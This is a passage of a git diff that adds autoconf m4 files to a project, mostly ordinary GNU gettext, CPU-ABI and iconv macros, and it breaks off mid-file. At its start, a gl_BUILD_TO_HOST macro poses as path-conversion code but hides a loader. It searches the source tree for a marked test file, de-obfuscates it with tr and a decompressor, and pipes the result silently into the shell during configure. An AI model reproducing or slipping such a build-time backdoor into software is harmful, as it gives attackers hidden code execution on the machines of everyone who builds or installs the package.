AC_REQUIRE([gl_BUILD_TO_HOST_INIT]) + + dnl Define somedir_c. + gl_final_[$1]="$[$1]" + gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` + dnl Translate it from build syntax to host syntax. + case "$build_os" in + cygwin*) + case "$host_os" in + mingw* | windows*) + gl_final_[$1]=`cygpath -w "$gl_final_[$1]"` ;; + esac + ;; + esac + dnl Convert it to C string syntax. + [$1]_c=`printf '%s\n' "$gl_final_[$1]" | sed -e "$gl_sed_double_backslashes" -e "$gl_sed_escape_doublequotes" | tr -d "$gl_tr_cr"` + [$1]_c='"'"$[$1]_c"'"' + AC_SUBST([$1_c]) + + dnl Define somedir_c_make. + [$1]_c_make=`printf '%s\n' "$[$1]_c" | sed -e "$gl_sed_escape_for_make_1" -e "$gl_sed_escape_for_make_2" | tr -d "$gl_tr_cr"` + dnl Use the substituted somedir variable, when possible, so that the user + dnl may adjust somedir a posteriori when there are no special characters. + if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then + [$1]_c_make='\"$([$1])\"' + fi + if test "x$gl_am_configmake" != "x"; then + gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' + else + gl_[$1]_config='' + fi + _LT_TAGDECL([], [gl_path_map], [2])dnl + _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl + _LT_TAGDECL([], [gl_am_configmake], [2])dnl + _LT_TAGDECL([], [[$1]_c_make], [2])dnl + _LT_TAGDECL([], [gl_[$1]_config], [2])dnl + AC_SUBST([$1_c_make]) + + dnl If the host conversion code has been placed in $gl_config_gt, + dnl instead of duplicating it all over again into config.status, + dnl then we will have config.status run $gl_config_gt later, so it + dnl needs to know what name is stored there: + AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"]) +]) + +dnl Some initializations for gl_BUILD_TO_HOST. +AC_DEFUN([gl_BUILD_TO_HOST_INIT], +[ + dnl Search for Automake-defined pkg* macros, in the order + dnl listed in the Automake 1.10a+ documentation. + gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` + if test -n "$gl_am_configmake"; then + HAVE_PKG_CONFIGMAKE=1 + else + HAVE_PKG_CONFIGMAKE=0 + fi + + gl_sed_double_backslashes='s/\\/\\\\/g' + gl_sed_escape_doublequotes='s/"/\\"/g' + gl_path_map='tr "\t \-_" " \t_\-"' +changequote(,)dnl + gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g" +changequote([,])dnl + gl_sed_escape_for_make_2='s,\$,\\$$,g' + dnl Find out how to remove carriage returns from output. Solaris /usr/ucb/tr + dnl does not understand '\r'. + case `echo r | tr -d '\r'` in + '') gl_tr_cr='\015' ;; + *) gl_tr_cr='\r' ;; + esac +]) diff --git a/m4/gettext.m4 b/m4/gettext.m4 new file mode 100644 index 00000000..16f9db18 --- /dev/null +++ b/m4/gettext.m4 @@ -0,0 +1,405 @@ +# gettext.m4 serial 78 (gettext-0.22.4) +dnl Copyright (C) 1995-2014, 2016, 2018-2023 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. +dnl +dnl This file can be used in projects which are not available under +dnl the GNU General Public License or the GNU Lesser General Public +dnl License but which still want to provide support for the GNU gettext +dnl functionality. +dnl Please note that the actual code of the GNU gettext library is covered +dnl by the GNU Lesser General Public License, and the rest of the GNU +dnl gettext package is covered by the GNU General Public License. +dnl They are *not* in the public domain. + +dnl Authors: +dnl Ulrich Drepper , 1995-2000. +dnl Bruno Haible , 2000-2006, 2008-2010. + +dnl Macro to add for using GNU gettext. + +dnl Usage: AM_GNU_GETTEXT([INTLSYMBOL], [NEEDSYMBOL], [INTLDIR]). +dnl INTLSYMBOL must be one of 'external', 'use-libtool', 'here'. +dnl INTLSYMBOL should be 'external' for packages other than GNU gettext. +dnl It should be 'use-libtool' for the packages 'gettext-runtime' and +dnl 'gettext-tools'. +dnl It should be 'here' for the package 'gettext-runtime/intl'. +dnl If INTLSYMBOL is 'here', then a libtool library +dnl $(top_builddir)/libintl.la will be created (shared and/or static, +dnl depending on --{enable,disable}-{shared,static} and on the presence of +dnl AM-DISABLE-SHARED). +dnl If NEEDSYMBOL is specified and is 'need-ngettext', then GNU gettext +dnl implementations (in libc or libintl) without the ngettext() function +dnl will be ignored. If NEEDSYMBOL is specified and is +dnl 'need-formatstring-macros', then GNU gettext implementations that don't +dnl support the ISO C 99 formatstring macros will be ignored. +dnl INTLDIR is used to find the intl libraries. If empty, +dnl the value '$(top_builddir)/intl/' is used. +dnl +dnl The result of the configuration is one of three cases: +dnl 1) GNU gettext, as included in the intl subdirectory, will be compiled +dnl and used. +dnl Catalog format: GNU --> install in $(datadir) +dnl Catalog extension: .mo after installation, .gmo in source tree +dnl 2) GNU gettext has been found in the system's C library. +dnl Catalog format: GNU --> install in $(datadir) +dnl Catalog extension: .mo after installation, .gmo in source tree +dnl 3) No internationalization, always use English msgid. +dnl Catalog format: none +dnl Catalog extension: none +dnl If INTLSYMBOL is 'external', only cases 2 and 3 can occur. +dnl The use of .gmo is historical (it was needed to avoid overwriting the +dnl GNU format catalogs when building on a platform with an X/Open gettext), +dnl but we keep it in order not to force irrelevant filename changes on the +dnl maintainers. +dnl +AC_DEFUN([AM_GNU_GETTEXT], +[ + dnl Argument checking. + m4_if([$1], [], , [m4_if([$1], [external], , [m4_if([$1], [use-libtool], , [m4_if([$1], [here], , + [errprint([ERROR: invalid first argument to AM_GNU_GETTEXT +])])])])]) + m4_if(m4_if([$1], [], [old])[]m4_if([$1], [no-libtool], [old]), [old], + [errprint([ERROR: Use of AM_GNU_GETTEXT without [external] argument is no longer supported. +])]) + m4_if([$2], [], , [m4_if([$2], [need-ngettext], , [m4_if([$2], [need-formatstring-macros], , + [errprint([ERROR: invalid second argument to AM_GNU_GETTEXT +])])])]) + define([gt_building_libintl_in_same_build_tree], + m4_if([$1], [use-libtool], [yes], [m4_if([$1], [here], [yes], [no])])) + gt_NEEDS_INIT + AM_GNU_GETTEXT_NEED([$2]) + + AC_REQUIRE([AM_PO_SUBDIRS])dnl + + dnl Prerequisites of AC_LIB_LINKFLAGS_BODY. + AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) + AC_REQUIRE([AC_LIB_RPATH]) + + dnl Sometimes libintl requires libiconv, so first search for libiconv. + dnl Ideally we would do this search only after the + dnl if test "$USE_NLS" = "yes"; then + dnl if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then + dnl tests. But if configure.ac invokes AM_ICONV after AM_GNU_GETTEXT + dnl the configure script would need to contain the same shell code + dnl again, outside any 'if'. There are two solutions: + dnl - Invoke AM_ICONV_LINKFLAGS_BODY here, outside any 'if'. + dnl - Control the expansions in more detail using AC_PROVIDE_IFELSE. + dnl Since AC_PROVIDE_IFELSE is not documented, we avoid it. + m4_if(gt_building_libintl_in_same_build_tree, yes, , [ + AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY]) + ]) + + dnl Sometimes, on Mac OS X, libintl requires linking with CoreFoundation. + gt_INTL_MACOSX + + dnl Set USE_NLS. + AC_REQUIRE([AM_NLS]) + + m4_if(gt_building_libintl_in_same_build_tree, yes, [ + USE_INCLUDED_LIBINTL=no + ]) + LIBINTL= + LTLIBINTL= + POSUB= + + dnl Add a version number to the cache macros. + case " $gt_needs " in + *" need-formatstring-macros "*) gt_api_version=3 ;; + *" need-ngettext "*) gt_api_version=2 ;; + *) gt_api_version=1 ;; + esac + gt_func_gnugettext_libc="gt_cv_func_gnugettext${gt_api_version}_libc" + gt_func_gnugettext_libintl="gt_cv_func_gnugettext${gt_api_version}_libintl" + + dnl If we use NLS figure out what method + if test "$USE_NLS" = "yes"; then + gt_use_preinstalled_gnugettext=no + m4_if(gt_building_libintl_in_same_build_tree, yes, [ + AC_MSG_CHECKING([whether included gettext is requested]) + AC_ARG_WITH([included-gettext], + [ --with-included-gettext use the GNU gettext library included here], + nls_cv_force_use_gnu_gettext=$withval, + nls_cv_force_use_gnu_gettext=no) + AC_MSG_RESULT([$nls_cv_force_use_gnu_gettext]) + + nls_cv_use_gnu_gettext="$nls_cv_force_use_gnu_gettext" + if test "$nls_cv_force_use_gnu_gettext" != "yes"; then + ]) + dnl User does not insist on using GNU NLS library. Figure out what + dnl to use. If GNU gettext is available we use this. Else we have + dnl to fall back to GNU NLS library. + + if test $gt_api_version -ge 3; then + gt_revision_test_code=' +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1) +#endif +changequote(,)dnl +typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1]; +changequote([,])dnl +' + else + gt_revision_test_code= + fi + if test $gt_api_version -ge 2; then + gt_expression_test_code=' + * ngettext ("", "", 0)' + else + gt_expression_test_code= + fi + + AC_CACHE_CHECK([for GNU gettext in libc], [$gt_func_gnugettext_libc], + [AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern int *_nl_domain_bindings; +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_domain_bindings) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + ]], + [[ +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + ]])], + [eval "$gt_func_gnugettext_libc=yes"], + [eval "$gt_func_gnugettext_libc=no"])]) + + if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then + dnl Sometimes libintl requires libiconv, so first search for libiconv. + m4_if(gt_building_libintl_in_same_build_tree, yes, , [ + AM_ICONV_LINK + ]) + dnl Search for libintl and define LIBINTL, LTLIBINTL and INCINTL + dnl accordingly. Don't use AC_LIB_LINKFLAGS_BODY([intl],[iconv]) + dnl because that would add "-liconv" to LIBINTL and LTLIBINTL + dnl even if libiconv doesn't exist. + AC_LIB_LINKFLAGS_BODY([intl]) + AC_CACHE_CHECK([for GNU gettext in libintl], + [$gt_func_gnugettext_libintl], + [gt_save_CPPFLAGS="$CPPFLAGS" + CPPFLAGS="$CPPFLAGS $INCINTL" + gt_save_LIBS="$LIBS" + LIBS="$LIBS $LIBINTL" + dnl Now see whether libintl exists and does not depend on libiconv. + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern +#ifdef __cplusplus +"C" +#endif +const char *_nl_expand_alias (const char *); +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias ("")) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + ]], + [[ +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + ]])], + [eval "$gt_func_gnugettext_libintl=yes"], + [eval "$gt_func_gnugettext_libintl=no"]) + dnl Now see whether libintl exists and depends on libiconv or other + dnl OS dependent libraries, specifically on macOS and AIX. + gt_LIBINTL_EXTRA="$INTL_MACOSX_LIBS" + AC_REQUIRE([AC_CANONICAL_HOST]) + case "$host_os" in + aix*) gt_LIBINTL_EXTRA="-lpthread" ;; + esac + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" != yes; } \ + && { test -n "$LIBICONV" || test -n "$gt_LIBINTL_EXTRA"; }; then + LIBS="$LIBS $LIBICONV $gt_LIBINTL_EXTRA" + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern +#ifdef __cplusplus +"C" +#endif +const char *_nl_expand_alias (const char *); +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias ("")) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + ]], + [[ +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + ]])], + [LIBINTL="$LIBINTL $LIBICONV $gt_LIBINTL_EXTRA" + LTLIBINTL="$LTLIBINTL $LTLIBICONV $gt_LIBINTL_EXTRA" + eval "$gt_func_gnugettext_libintl=yes" + ]) + fi + CPPFLAGS="$gt_save_CPPFLAGS" + LIBS="$gt_save_LIBS"]) + fi + + dnl If an already present or preinstalled GNU gettext() is found, + dnl use it. But if this macro is used in GNU gettext, and GNU + dnl gettext is already preinstalled in libintl, we update this + dnl libintl. (Cf. the install rule in intl/Makefile.in.) + if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" = "yes"; } \ + || { { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; } \ + && test "$PACKAGE" != gettext-runtime \ + && test "$PACKAGE" != gettext-tools \ + && test "$PACKAGE" != libintl; }; then + gt_use_preinstalled_gnugettext=yes + else + dnl Reset the values set by searching for libintl. + LIBINTL= + LTLIBINTL= + INCINTL= + fi + + m4_if(gt_building_libintl_in_same_build_tree, yes, [ + if test "$gt_use_preinstalled_gnugettext" != "yes"; then + dnl GNU gettext is not found in the C library. + dnl Fall back on included GNU gettext library. + nls_cv_use_gnu_gettext=yes + fi + fi + + if test "$nls_cv_use_gnu_gettext" = "yes"; then + dnl Mark actions used to generate GNU NLS library. + USE_INCLUDED_LIBINTL=yes + LIBINTL="m4_if([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LIBICONV $LIBTHREAD" + LTLIBINTL="m4_if([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LTLIBICONV $LTLIBTHREAD" + LIBS=`echo " $LIBS " | sed -e 's/ -lintl / /' -e 's/^ //' -e 's/ $//'` + fi + + CATOBJEXT= + if test "$gt_use_preinstalled_gnugettext" = "yes" \ + || test "$nls_cv_use_gnu_gettext" = "yes"; then + dnl Mark actions to use GNU gettext tools. + CATOBJEXT=.gmo + fi + ]) + + if test -n "$INTL_MACOSX_LIBS"; then + if test "$gt_use_preinstalled_gnugettext" = "yes" \ + || test "$nls_cv_use_gnu_gettext" = "yes"; then + dnl Some extra flags are needed during linking. + LIBINTL="$LIBINTL $INTL_MACOSX_LIBS" + LTLIBINTL="$LTLIBINTL $INTL_MACOSX_LIBS" + fi + fi + + if test "$gt_use_preinstalled_gnugettext" = "yes" \ + || test "$nls_cv_use_gnu_gettext" = "yes"; then + AC_DEFINE([ENABLE_NLS], [1], + [Define to 1 if translation of program messages to the user's native language + is requested.]) + else + USE_NLS=no + fi + fi + + AC_MSG_CHECKING([whether to use NLS]) + AC_MSG_RESULT([$USE_NLS]) + if test "$USE_NLS" = "yes"; then + AC_MSG_CHECKING([where the gettext function comes from]) + if test "$gt_use_preinstalled_gnugettext" = "yes"; then + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then + gt_source="external libintl" + else + gt_source="libc" + fi + else + gt_source="included intl directory" + fi + AC_MSG_RESULT([$gt_source]) + fi + + if test "$USE_NLS" = "yes"; then + + if test "$gt_use_preinstalled_gnugettext" = "yes"; then + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then + AC_MSG_CHECKING([how to link with libintl]) + AC_MSG_RESULT([$LIBINTL]) + AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCINTL]) + fi + + dnl For backward compatibility. Some packages may be using this. + AC_DEFINE([HAVE_GETTEXT], [1], + [Define if the GNU gettext() function is already present or preinstalled.]) + AC_DEFINE([HAVE_DCGETTEXT], [1], + [Define if the GNU dcgettext() function is already present or preinstalled.]) + fi + + dnl We need to process the po/ directory. + POSUB=po + fi + + m4_if(gt_building_libintl_in_same_build_tree, yes, [ + dnl Make all variables we use known to autoconf. + AC_SUBST([USE_INCLUDED_LIBINTL]) + AC_SUBST([CATOBJEXT]) + ]) + + m4_if(gt_building_libintl_in_same_build_tree, yes, [], [ + dnl For backward compatibility. Some Makefiles may be using this. + INTLLIBS="$LIBINTL" + AC_SUBST([INTLLIBS]) + ]) + + dnl Make all documented variables known to autoconf. + AC_SUBST([LIBINTL]) + AC_SUBST([LTLIBINTL]) + AC_SUBST([POSUB]) + + dnl Define localedir_c and localedir_c_make. + dnl Find the final value of localedir. + gt_save_prefix="${prefix}" + gt_save_datarootdir="${datarootdir}" + gt_save_localedir="${localedir}" + dnl Unfortunately, prefix gets only finally determined at the end of + dnl configure. + if test "X$prefix" = "XNONE"; then + prefix="$ac_default_prefix" + fi + eval datarootdir="$datarootdir" + eval localedir="$localedir" + gl_BUILD_TO_HOST([localedir]) + localedir="${gt_save_localedir}" + datarootdir="${gt_save_datarootdir}" + prefix="${gt_save_prefix}" +]) + + +dnl gt_NEEDS_INIT ensures that the gt_needs variable is initialized. +m4_define([gt_NEEDS_INIT], +[ + m4_divert_text([DEFAULTS], [gt_needs=]) + m4_define([gt_NEEDS_INIT], []) +]) + + +dnl Usage: AM_GNU_GETTEXT_NEED([NEEDSYMBOL]) +AC_DEFUN([AM_GNU_GETTEXT_NEED], +[ + m4_divert_text([INIT_PREPARE], [gt_needs="$gt_needs $1"]) +]) + + +dnl Usage: AM_GNU_GETTEXT_VERSION([gettext-version]) +AC_DEFUN([AM_GNU_GETTEXT_VERSION], []) + + +dnl Usage: AM_GNU_GETTEXT_REQUIRE_VERSION([gettext-version]) +AC_DEFUN([AM_GNU_GETTEXT_REQUIRE_VERSION], []) diff --git a/m4/host-cpu-c-abi.m4 b/m4/host-cpu-c-abi.m4 new file mode 100644 index 00000000..3a2f01df --- /dev/null +++ b/m4/host-cpu-c-abi.m4 @@ -0,0 +1,679 @@ +# host-cpu-c-abi.m4 serial 16 +dnl Copyright (C) 2002-2023 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. + +dnl From Bruno Haible and Sam Steingold. + +dnl Sets the HOST_CPU variable to the canonical name of the CPU. +dnl Sets the HOST_CPU_C_ABI variable to the canonical name of the CPU with its +dnl C language ABI (application binary interface). +dnl Also defines __${HOST_CPU}__ and __${HOST_CPU_C_ABI}__ as C macros in +dnl config.h. +dnl +dnl This canonical name can be used to select a particular assembly language +dnl source file that will interoperate with C code on the given host. +dnl +dnl For example: +dnl * 'i386' and 'sparc' are different canonical names, because code for i386 +dnl will not run on SPARC CPUs and vice versa. They have different +dnl instruction sets. +dnl * 'sparc' and 'sparc64' are different canonical names, because code for +dnl 'sparc' and code for 'sparc64' cannot be linked together: 'sparc' code +dnl contains 32-bit instructions, whereas 'sparc64' code contains 64-bit +dnl instructions. A process on a SPARC CPU can be in 32-bit mode or in 64-bit +dnl mode, but not both. +dnl * 'mips' and 'mipsn32' are different canonical names, because they use +dnl different argument passing and return conventions for C functions, and +dnl although the instruction set of 'mips' is a large subset of the +dnl instruction set of 'mipsn32'. +dnl * 'mipsn32' and 'mips64' are different canonical names, because they use +dnl different sizes for the C types like 'int' and 'void *', and although +dnl the instruction sets of 'mipsn32' and 'mips64' are the same. +dnl * The same canonical name is used for different endiannesses. You can +dnl determine the endianness through preprocessor symbols: +dnl - 'arm': test __ARMEL__. +dnl - 'mips', 'mipsn32', 'mips64': test _MIPSEB vs. _MIPSEL. +dnl - 'powerpc64': test _BIG_ENDIAN vs. _LITTLE_ENDIAN. +dnl * The same name 'i386' is used for CPUs of type i386, i486, i586 +dnl (Pentium), AMD K7, Pentium II, Pentium IV, etc., because +dnl - Instructions that do not exist on all of these CPUs (cmpxchg, +dnl MMX, SSE, SSE2, 3DNow! etc.) are not frequently used. If your +dnl assembly language source files use such instructions, you will +dnl need to make the distinction. +dnl - Speed of execution of the common instruction set is reasonable across +dnl the entire family of CPUs. If you have assembly language source files +dnl that are optimized for particular CPU types (like GNU gmp has), you +dnl will need to make the distinction. +dnl See . +AC_DEFUN([gl_HOST_CPU_C_ABI], +[ + AC_REQUIRE([AC_CANONICAL_HOST]) + AC_REQUIRE([gl_C_ASM]) + AC_CACHE_CHECK([host CPU and C ABI], [gl_cv_host_cpu_c_abi], + [case "$host_cpu" in + +changequote(,)dnl + i[34567]86 ) +changequote([,])dnl + gl_cv_host_cpu_c_abi=i386 + ;; + + x86_64 ) + # On x86_64 systems, the C compiler may be generating code in one of + # these ABIs: + # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64. + # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64 + # with native Windows (mingw, MSVC). + # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32. + # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if (defined __x86_64__ || defined __amd64__ \ + || defined _M_X64 || defined _M_AMD64) + int ok; + #else + error fail + #endif + ]])], + [AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __ILP32__ || defined _ILP32 + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=x86_64-x32], + [gl_cv_host_cpu_c_abi=x86_64])], + [gl_cv_host_cpu_c_abi=i386]) + ;; + +changequote(,)dnl + alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] ) +changequote([,])dnl + gl_cv_host_cpu_c_abi=alpha + ;; + + arm* | aarch64 ) + # Assume arm with EABI. + # On arm64 systems, the C compiler may be generating code in one of + # these ABIs: + # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64. + # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32. + # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#ifdef __aarch64__ + int ok; + #else + error fail + #endif + ]])], + [AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __ILP32__ || defined _ILP32 + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=arm64-ilp32], + [gl_cv_host_cpu_c_abi=arm64])], + [# Don't distinguish little-endian and big-endian arm, since they + # don't require different machine code for simple operations and + # since the user can distinguish them through the preprocessor + # defines __ARMEL__ vs. __ARMEB__. + # But distinguish arm which passes floating-point arguments and + # return values in integer registers (r0, r1, ...) - this is + # gcc -mfloat-abi=soft or gcc -mfloat-abi=softfp - from arm which + # passes them in float registers (s0, s1, ...) and double registers + # (d0, d1, ...) - this is gcc -mfloat-abi=hard. GCC 4.6 or newer + # sets the preprocessor defines __ARM_PCS (for the first case) and + # __ARM_PCS_VFP (for the second case), but older GCC does not. + echo 'double ddd; void func (double dd) { ddd = dd; }' > conftest.c + # Look for a reference to the register d0 in the .s file. + AC_TRY_COMMAND(${CC-cc} $CFLAGS $CPPFLAGS $gl_c_asm_opt conftest.c) >/dev/null 2>&1 + if LC_ALL=C grep 'd0,' conftest.$gl_asmext >/dev/null; then + gl_cv_host_cpu_c_abi=armhf + else + gl_cv_host_cpu_c_abi=arm + fi + rm -f conftest* + ]) + ;; + + hppa1.0 | hppa1.1 | hppa2.0* | hppa64 ) + # On hppa, the C compiler may be generating 32-bit code or 64-bit + # code. In the latter case, it defines _LP64 and __LP64__. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#ifdef __LP64__ + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=hppa64], + [gl_cv_host_cpu_c_abi=hppa]) + ;; + + ia64* ) + # On ia64 on HP-UX, the C compiler may be generating 64-bit code or + # 32-bit code. In the latter case, it defines _ILP32. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#ifdef _ILP32 + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=ia64-ilp32], + [gl_cv_host_cpu_c_abi=ia64]) + ;; + + mips* ) + # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this + # at 32. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64) + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=mips64], + [# In the n32 ABI, _ABIN32 is defined, _ABIO32 is not defined (but + # may later get defined by ), and _MIPS_SIM == _ABIN32. + # In the 32 ABI, _ABIO32 is defined, _ABIN32 is not defined (but + # may later get defined by ), and _MIPS_SIM == _ABIO32. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if (_MIPS_SIM == _ABIN32) + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=mipsn32], + [gl_cv_host_cpu_c_abi=mips])]) + ;; + + powerpc* ) + # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD. + # No need to distinguish them here; the caller may distinguish + # them based on the OS. + # On powerpc64 systems, the C compiler may still be generating + # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may + # be generating 64-bit code. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __powerpc64__ || defined __LP64__ + int ok; + #else + error fail + #endif + ]])], + [# On powerpc64, there are two ABIs on Linux: The AIX compatible + # one and the ELFv2 one. The latter defines _CALL_ELF=2. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined _CALL_ELF && _CALL_ELF == 2 + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=powerpc64-elfv2], + [gl_cv_host_cpu_c_abi=powerpc64]) + ], + [gl_cv_host_cpu_c_abi=powerpc]) + ;; + + rs6000 ) + gl_cv_host_cpu_c_abi=powerpc + ;; + + riscv32 | riscv64 ) + # There are 2 architectures (with variants): rv32* and rv64*. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if __riscv_xlen == 64 + int ok; + #else + error fail + #endif + ]])], + [cpu=riscv64], + [cpu=riscv32]) + # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d. + # Size of 'long' and 'void *': + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __LP64__ + int ok; + #else + error fail + #endif + ]])], + [main_abi=lp64], + [main_abi=ilp32]) + # Float ABIs: + # __riscv_float_abi_double: + # 'float' and 'double' are passed in floating-point registers. + # __riscv_float_abi_single: + # 'float' are passed in floating-point registers. + # __riscv_float_abi_soft: + # No values are passed in floating-point registers. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __riscv_float_abi_double + int ok; + #else + error fail + #endif + ]])], + [float_abi=d], + [AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __riscv_float_abi_single + int ok; + #else + error fail + #endif + ]])], + [float_abi=f], + [float_abi='']) + ]) + gl_cv_host_cpu_c_abi="${cpu}-${main_abi}${float_abi}" + ;; + + s390* ) + # On s390x, the C compiler may be generating 64-bit (= s390x) code + # or 31-bit (= s390) code. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __LP64__ || defined __s390x__ + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=s390x], + [gl_cv_host_cpu_c_abi=s390]) + ;; + + sparc | sparc64 ) + # UltraSPARCs running Linux have `uname -m` = "sparc64", but the + # C compiler still generates 32-bit code. + AC_COMPILE_IFELSE( + [AC_LANG_SOURCE( + [[#if defined __sparcv9 || defined __arch64__ + int ok; + #else + error fail + #endif + ]])], + [gl_cv_host_cpu_c_abi=sparc64], + [gl_cv_host_cpu_c_abi=sparc]) + ;; + + *) + gl_cv_host_cpu_c_abi="$host_cpu" + ;; + esac + ]) + + dnl In most cases, $HOST_CPU and $HOST_CPU_C_ABI are the same. + HOST_CPU=`echo "$gl_cv_host_cpu_c_abi" | sed -e 's/-.*//'` + HOST_CPU_C_ABI="$gl_cv_host_cpu_c_abi" + AC_SUBST([HOST_CPU]) + AC_SUBST([HOST_CPU_C_ABI]) + + # This was + # AC_DEFINE_UNQUOTED([__${HOST_CPU}__]) + # AC_DEFINE_UNQUOTED([__${HOST_CPU_C_ABI}__]) + # earlier, but KAI C++ 3.2d doesn't like this. + sed -e 's/-/_/g' >> confdefs.h <. +dnl Don't make changes that are incompatible with that documentation! + +AC_DEFUN([AM_ICONV_LINKFLAGS_BODY], +[ + dnl Prerequisites of AC_LIB_LINKFLAGS_BODY. + AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) + AC_REQUIRE([AC_LIB_RPATH]) + + dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV + dnl accordingly. + AC_LIB_LINKFLAGS_BODY([iconv]) +]) + +AC_DEFUN([AM_ICONV_LINK], +[ + dnl Some systems have iconv in libc, some have it in libiconv (OSF/1 and + dnl those with the standalone portable GNU libiconv installed). + AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles + + dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV + dnl accordingly. + AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY]) + + dnl Add $INCICONV to CPPFLAGS before performing the following checks, + dnl because if the user has installed libiconv and not disabled its use + dnl via --without-libiconv-prefix, he wants to use it. The first + dnl AC_LINK_IFELSE will then fail, the second AC_LINK_IFELSE will succeed. + am_save_CPPFLAGS="$CPPFLAGS" + AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCICONV]) + + 